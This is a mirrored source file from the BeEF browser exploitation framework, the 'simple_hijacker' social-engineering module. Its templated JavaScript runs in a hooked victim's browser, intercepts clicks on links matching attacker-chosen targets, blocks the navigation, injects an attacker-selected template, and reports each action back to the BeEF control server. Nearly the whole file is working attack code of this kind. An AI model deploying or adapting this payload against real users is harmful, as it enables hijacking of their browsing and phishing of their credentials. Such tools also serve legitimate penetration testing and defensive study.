Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/simple_hijacker/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
hijack = function(){
9
function send(answer){
10
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);
11
}
12
<% target = @targets.split(',') %>
13
$j('a').click(function(e) {
14
e.preventDefault();
15
if ($j(this).attr('href') != '')
16
{
17
if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{
18
<%
19
tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js"
20
file = File.open(tplpath, "r")
21
@template = file.read
22
%>
23
24
<%= @template %>
25
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href'));
26
}
27
}
28
});
29
}
30
31
beef.execute(function() {
32
hijack();
33
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action');
34
});
35
36